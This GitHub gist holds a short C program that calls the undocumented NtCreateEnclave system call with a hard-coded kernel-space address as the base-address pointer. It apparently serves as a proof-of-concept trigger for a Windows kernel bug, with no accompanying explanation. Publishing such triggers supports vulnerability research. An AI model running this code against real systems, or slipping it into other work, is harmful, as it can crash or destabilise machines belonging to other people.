Created
June 11, 2020 18:30
-
-
Save hfiref0x/720e2caf58a770117caa1d51d2745491 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#pragma warning(disable: 4005) | |
#include <windows.h> | |
#include <cstdio> | |
#include <ntstatus.h> | |
typedef NTSTATUS (NTAPI *pfnNtCreateEnclave)( | |
_In_ HANDLE ProcessHandle, | |
_Inout_ PVOID* BaseAddress, | |
_In_ ULONG_PTR ZeroBits, | |
_In_ SIZE_T Size, | |
_In_ SIZE_T InitialCommitment, | |
_In_ ULONG EnclaveType, | |
_In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, | |
_In_ ULONG EnclaveInformationLength, | |
_Out_opt_ PULONG EnclaveError); | |
int main() | |
{ | |
UCHAR staticBuffer[0x2000]; | |
ULONG encError; | |
PVOID pSrc = &staticBuffer; | |
pfnNtCreateEnclave NtCreateEnclave; | |
NtCreateEnclave = (pfnNtCreateEnclave)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateEnclave"); | |
if (NtCreateEnclave == NULL) { | |
printf("Error, function not found\r\n"); | |
return 0; | |
} | |
NTSTATUS status = NtCreateEnclave( | |
NtCurrentProcess(), | |
(PVOID*)0xfffff80019cc0000, | |
0, | |
0x200000, | |
0, | |
ENCLAVE_TYPE_VBS, | |
pSrc, | |
0, | |
&encError); | |
printf("NtCreateEnclave NTSTATUS 0x%lx, enclaveError 0x%lx\r\n", status, encError); | |
system("pause"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment